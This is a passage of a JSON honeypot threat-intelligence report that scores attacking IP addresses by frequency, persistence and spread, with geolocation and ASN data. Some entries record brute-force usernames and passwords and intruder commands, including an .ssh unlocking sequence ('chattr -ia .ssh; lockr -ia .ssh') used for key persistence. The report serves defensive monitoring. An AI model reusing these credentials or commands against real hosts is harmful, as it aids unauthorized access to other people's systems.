      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:04:58.387000+00:00",
        "last_seen_30d": "2026-05-18T04:50:04.264000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "80.201.83.165": {
      "attack_count": 32,
      "first_seen": "2026-05-04T01:50:26.025Z",
      "last_seen": "2026-05-07T23:36:43.726Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Ghent",
      "asn": 5432,
      "as_org": "Proximus NV",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:50:26.025000+00:00",
        "last_seen_30d": "2026-05-07T23:37:45.636000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 19
      }
    },
    "120.48.28.60": {
      "attack_count": 27,
      "first_seen": "2026-05-19T01:50:40.813Z",
      "last_seen": "2026-05-19T02:18:43.316Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Wu123456",
        "deng1988",
        "root@9876"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T01:50:40.813000+00:00",
        "last_seen_30d": "2026-05-19T02:19:51.428000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 12
      }
    },
    "74.48.65.85": {
      "attack_count": 24,
      "first_seen": "2026-05-05T02:02:47.372Z",
      "last_seen": "2026-05-14T16:30:43.384Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:02:47.372000+00:00",
        "last_seen_30d": "2026-05-14T16:31:52.230000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "199.21.150.105": {
      "attack_count": 23,
      "first_seen": "2026-05-02T18:48:45.838Z",
      "last_seen": "2026-05-09T05:25:02.538Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "P",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 7040,
      "as_org": "Netminders Server Hosting",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.4,
        "persistence": 14.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 17,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T18:48:45.838000+00:00",
        "last_seen_30d": "2026-05-18T22:52:36.186000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 19,
        "Honeytrap": 2
      }
    },
    "184.154.107.230": {
      "attack_count": 18,
      "first_seen": "2026-05-12T01:57:00.662Z",
      "last_seen": "2026-05-18T19:55:43.496Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T01:57:00.662000+00:00",
        "last_seen_30d": "2026-05-18T19:56:48.102000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "46.161.50.109": {
      "attack_count": 18,
      "first_seen": "2026-05-18T21:40:48.890Z",
      "last_seen": "2026-05-31T15:34:59.634Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 34665,
      "as_org": "Petersburg Internet Network ltd.",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 11.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6565,
        "days_active_30d": 14,
        "ports_targeted_30d": 214,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-18T08:45:26.565000+00:00",
        "last_seen_30d": "2026-05-31T15:56:53.863000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4676,
        "Honeytrap": 1727,
        "Dionaea": 71,
        "Redishoneypot": 41,
        "ConPot": 18,
        "Cowrie": 18,
        "Mailoney": 12,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "101.237.36.193": {
      "attack_count": 15,
      "first_seen": "2026-05-25T08:19:42.911Z",
      "last_seen": "2026-05-25T08:20:31.058Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root123456",
        "\ufeff------fuck------"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 23724,
      "as_org": "IDC, China Telecommunications Corporation",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T21:07:07+00:00",
        "last_seen_30d": "2026-05-25T08:21:39.695000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 11,
        "Honeytrap": 2
      }
    },
    "121.26.28.26": {
      "attack_count": 15,
      "first_seen": "2026-05-12T18:55:12.182Z",
      "last_seen": "2026-05-12T18:55:20.185Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "nPSpP4PBW0"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-12T18:55:12.182000+00:00",
        "last_seen_30d": "2026-05-18T08:38:42.421000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "62.109.17.226": {
      "attack_count": 12,
      "first_seen": "2026-05-14T21:09:15.835Z",
      "last_seen": "2026-05-14T21:45:44.575Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 29182,
      "as_org": "JSC IOT",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:09:15.835000+00:00",
        "last_seen_30d": "2026-05-14T21:46:51.906000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "82.205.106.203": {
      "attack_count": 12,
      "first_seen": "2026-05-22T14:11:24.300Z",
      "last_seen": "2026-05-22T14:19:28.412Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Ramallah",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:11:24.300000+00:00",
        "last_seen_30d": "2026-05-22T14:30:27.044000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "31.59.44.31": {
      "attack_count": 10,
      "first_seen": "2026-05-18T18:45:38.826Z",
      "last_seen": "2026-05-18T18:45:46.658Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubnt"
      ],
      "passwords_attempted": [
        "admin",
        "ubnt"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": null,
      "as_org": null,
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T18:45:38.826000+00:00",
        "last_seen_30d": "2026-05-18T18:46:50.868000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "179.240.229.26": {
      "attack_count": 8,
      "first_seen": "2026-05-04T07:34:28.368Z",
      "last_seen": "2026-05-04T07:40:37.656Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T07:34:28.368000+00:00",
        "last_seen_30d": "2026-05-04T07:41:46.748000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "172.202.118.18": {
      "attack_count": 7,
      "first_seen": "2026-05-20T13:13:11.366Z",
      "last_seen": "2026-05-20T13:13:21.615Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 49.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.8,
        "persistence": 14.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 17,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T03:03:09.309000+00:00",
        "last_seen_30d": "2026-05-26T22:19:52.293000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 8,
        "Cowrie": 7
      }
    },
    "104.199.25.101": {
      "attack_count": 6,
      "first_seen": "2026-05-25T04:08:01.283Z",
      "last_seen": "2026-05-25T04:08:12.189Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:08:01.283000+00:00",
        "last_seen_30d": "2026-05-25T04:09:22.176000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "108.181.96.253": {
      "attack_count": 6,
      "first_seen": "2026-05-14T09:08:37.791Z",
      "last_seen": "2026-05-14T09:08:43.114Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T09:08:37.791000+00:00",
        "last_seen_30d": "2026-05-14T09:09:44.558000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "134.122.36.217": {
      "attack_count": 6,
      "first_seen": "2026-05-05T06:29:48.531Z",
      "last_seen": "2026-05-05T06:29:48.996Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:28:34.078000+00:00",
        "last_seen_30d": "2026-05-05T06:30:58.313000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "192.42.116.110": {
      "attack_count": 6,
      "first_seen": "2026-05-10T01:04:24.378Z",
      "last_seen": "2026-05-10T01:04:29.463Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "nil"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T01:04:24.378000+00:00",
        "last_seen_30d": "2026-05-24T01:28:01.201000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Ciscoasa": 6,
        "Cowrie": 6
      }
    },
    "64.62.156.182": {
      "attack_count": 6,
      "first_seen": "2026-05-15T05:06:07.710Z",
      "last_seen": "2026-05-28T08:52:17.092Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 342,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T10:45:43+00:00",
        "last_seen_30d": "2026-05-31T15:27:42.191000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 218,
        "Honeytrap": 90,
        "Ciscoasa": 13,
        "Cowrie": 6,
        "Mailoney": 6,
        "ConPot": 4,
        "Dionaea": 3,
        "Honeyaml": 2
      }
    },
    "152.32.188.76": {
      "attack_count": 5,
      "first_seen": "2026-05-19T21:08:10.834Z",
      "last_seen": "2026-05-24T16:09:37.918Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:08:10.834000+00:00",
        "last_seen_30d": "2026-05-24T16:10:47.925000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "178.249.209.163": {
      "attack_count": 5,
      "first_seen": "2026-05-25T19:30:10.791Z",
      "last_seen": "2026-05-25T19:30:13.328Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "CatCult2025!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": "Prague",
      "asn": 212238,
      "as_org": "Datacamp Limited",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T19:30:10.791000+00:00",
        "last_seen_30d": "2026-05-25T19:31:18.204000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "3.81.228.214": {
      "attack_count": 4,
      "first_seen": "2026-05-29T05:26:50.025Z",
      "last_seen": "2026-05-29T05:26:56.123Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T05:26:50.025000+00:00",
        "last_seen_30d": "2026-05-29T05:27:58.845000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "35.187.58.104": {
      "attack_count": 4,
      "first_seen": "2026-05-02T19:40:03.791Z",
      "last_seen": "2026-05-03T02:36:31.467Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:40:03.791000+00:00",
        "last_seen_30d": "2026-05-03T02:37:31.930000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "85.217.149.39": {
      "attack_count": 4,
      "first_seen": "2026-05-05T23:58:25.885Z",
      "last_seen": "2026-05-20T16:10:05.969Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1251,
        "days_active_30d": 30,
        "ports_targeted_30d": 644,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T00:56:35.770000+00:00",
        "last_seen_30d": "2026-05-31T00:22:16.365000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 776,
        "Honeytrap": 469,
        "Cowrie": 4,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "143.198.62.9": {
      "attack_count": 3,
      "first_seen": "2026-05-29T08:18:51.381Z",
      "last_seen": "2026-05-29T08:18:51.383Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T08:18:51.381000+00:00",
        "last_seen_30d": "2026-05-29T08:21:18.947000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3
      }
    },
    "43.111.226.175": {
      "attack_count": 3,
      "first_seen": "2026-05-26T20:51:03.687Z",
      "last_seen": "2026-05-26T20:52:04.337Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:51:03.687000+00:00",
        "last_seen_30d": "2026-05-26T20:53:05.775000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "105.77.206.139": {
      "attack_count": 2,
      "first_seen": "2026-05-10T08:53:16.957Z",
      "last_seen": "2026-05-10T08:53:29.832Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
